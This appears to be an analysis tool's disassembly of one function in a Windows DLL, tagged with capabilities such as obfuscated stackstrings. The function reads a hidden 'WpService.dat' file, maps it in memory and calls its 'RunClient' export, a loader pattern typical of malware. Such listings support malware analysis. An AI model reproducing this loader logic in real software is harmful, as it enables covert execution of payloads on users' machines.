Function at 0x180001d60
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x590]
sub rsp, 0x690
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x580], rax
mov r15, rcx
mov qword [rsp + 0x40], rcx
lea rcx, [rsp + 0x70]
xor edx, edx
mov r8d, 0x208
call fcn.18000f640
mov rcx, qword [0x18001fbd8]
lea rdx, [rsp + 0x70]
mov r8d, 0x104
mov dword [rsp + 0x50], 0x700057
mov dword [rsp + 0x54], 0x650053
xor r12d, r12d
mov dword [rsp + 0x58], 0x760072
mov dword [rsp + 0x5c], 0x630069
mov dword [rsp + 0x60], 0x2e0065
mov dword [rsp + 0x64], 0x610064
mov dword [rsp + 0x68], 0x74
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
cmp eax, 0x104
ja 0x180001e1a
mov edx, 0x5c
lea rcx, [rsp + 0x70]
call fcn.180004e08
test rax, rax
je 0x180001e1a
mov word [rax + 2], r12w
lea r8, [rsp + 0x50]
mov edx, 0x104
lea rcx, [rsp + 0x70]
call fcn.180007010
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x70]
mov qword [rsp + 0x30], r12
mov r14, 0xffffffffffffffff
mov dword [rsp + 0x28], r12d
mov r9d, r14d
xor edx, edx
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd rdi, eax
test eax, eax
jle 0x180001eb6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x38], r12
lea r8, [rsp + 0x70]
mov qword [rsp + 0x30], r12
mov r9d, r14d
mov dword [rsp + 0x28], edi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jg 0x180001eb6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, r14
jne 0x180001ef4
mov eax, r14d
jmp 0x18000220c
xor edx, edx
mov qword [rsp + 0x6c8], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
lea ecx, [rsi - 0x40]
cmp ecx, 0xffffffbe
ja 0x1800021f8
mov ecx, esi
call fcn.180003768
lea r9, [rsp + 0x48]
mov dword [rsp + 0x48], r12d
mov r8d, esi
mov qword [rsp + 0x20], r12
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, rbx
test eax, eax
jne 0x180001f57
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call fcn.180003760
jmp 0x180002201
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r9, [rsp + 0x48]
mov r8, rdi
mov rcx, r15
call fcn.180001bd0
mov r12, rax
test rax, rax
jne 0x180001f7f
mov eax, 1
jmp 0x180002204
call fcn.180003250
mov r15, rax
test rax, rax
je 0x1800021e6
mov r8, qword [rax + 0x30]
mov edx, 0x28
mov ecx, 0x40
call r8
mov rsi, rax
test rax, rax
je 0x1800021e6
xor ebx, ebx
mov qword [rax + 0x10], r15
mov r8d, 1
mov dword [rax + 0x20], ebx
mov rdx, r12
mov qword [rax + 0x18], 1
mov rcx, rax
call fcn.1800027c0
test eax, eax
je 0x1800021d8
mov rcx, rdi
mov qword [rsp + 0x6d0], r13
call fcn.180003760
mov rcx, r12
call fcn.1800070f0
mov r11, qword [rsi]
mov dword [rsi + 0x20], ebx
test r11, r11
je 0x180002073
movsxd rax, dword [r11 + 0x3c]
mov r10d, ebx
mov ecx, dword [rax + r11 + 0x88]
add rcx, r11
mov edi, dword [rcx + 0x20]
mov r15d, dword [rcx + 0x24]
add rdi, r11
mov r12d, dword [rcx + 0x1c]
add r15, r11
movsxd rax, dword [rcx + 0x14]
add r12, r11
test eax, eax
jle 0x180002073
mov r9d, ebx
mov rbx, rax
nop
mov eax, dword [rdi + r9*4]
lea r8, str.RunClient
add rax, r11
sub r8, rax
movzx ecx, byte [r8 + rax]
movzx edx, byte [rax]
inc rax
test cl, cl
je 0x18000205c
cmp cl, dl
je 0x180002041
mov eax, edx
mov edx, ecx
sub edx, eax
jmp 0x18000205e
neg edx
test edx, edx
je 0x180002133
inc r10d
inc r9
cmp r9, rbx
jl 0x180002030
xor ebx, ebx
mov r12, rbx
test r12, r12
je 0x180002165
xor edx, edx
lea rcx, [rbp + 0x180]
mov r8d, 0x400
call fcn.18000f640
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x30], rbx
mov r9d, r14d
mov dword [rsp + 0x28], ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea edi, [rax + 1]
movsxd rbx, edi
mov rcx, rbx
call fcn.180003768
mov r8, rbx
xor edx, edx
mov rcx, rax
mov r15, rax
call fcn.18000f640
xor ebx, ebx
lea r8, [rsp + 0x70]
mov qword [rsp + 0x38], rbx
mov r9d, r14d
mov qword [rsp + 0x30], rbx
xor edx, edx
mov dword [rsp + 0x28], edi
xor ecx, ecx
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop dword [rax]
inc r14
cmp byte [r15 + r14], bl
jne 0x180002100
inc r14d
lea rcx, [rbp + 0x180]
mov edx, 0x400
mov r8, r15
cmp r14d, edx
jle 0x180002149
mov r9d, 0x3ff
call fcn.180006f20
mov byte [rbp + 0x57f], bl
jmp 0x18000214e
movsxd rax, r10d
movzx ecx, word [r15 + rax*2]
mov r12d, dword [r12 + rcx*4]
add r12, r11
xor ebx, ebx
jmp 0x180002076
call fcn.180007088
mov rcx, r15
call fcn.180003760
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp + 0x180]
call r12
cmp dword [rsi + 0x18], 0
mov dword [rsi + 0x20], ebx
je 0x18000219b
mov rcx, qword [rsi]
test rcx, rcx
je 0x18000219b
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov edx, dword [rax + 0x28]
test edx, edx
je 0x18000219b
mov eax, edx
add rax, rcx
jne 0x180002194
mov dword [rsi + 0x20], 6
jmp 0x18000219b
xor r8d, r8d
xor edx, edx
call rax
mov rcx, qword [rsi + 0x10]
mov r13, qword [rsp + 0x6d0]
test rcx, rcx
je 0x1800021c6
cmp dword [rsi + 0x1c], 0
je 0x1800021c6
cmp qword [rsi], 0
je 0x1800021c6
mov qword [rsi], rbx
mov qword [rsi + 8], 0
mov dword [rsi + 0x1c], ebx
mov rbx, qword [rcx + 0x38]
test rbx, rbx
je 0x180002204
call rbx
mov rcx, rsi
call rbx
jmp 0x180002204
mov rbx, qword [r15 + 0x38]
mov rcx, rsi
call rbx
mov rcx, r15
call rbx
mov rcx, rdi
call fcn.180003760
mov rcx, r12
call fcn.1800070f0
jmp 0x180002204
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, r14d
mov rsi, qword [rsp + 0x6c8]
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.180003740
mov rbx, qword [rsp + 0x6d8]
add rsp, 0x690
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret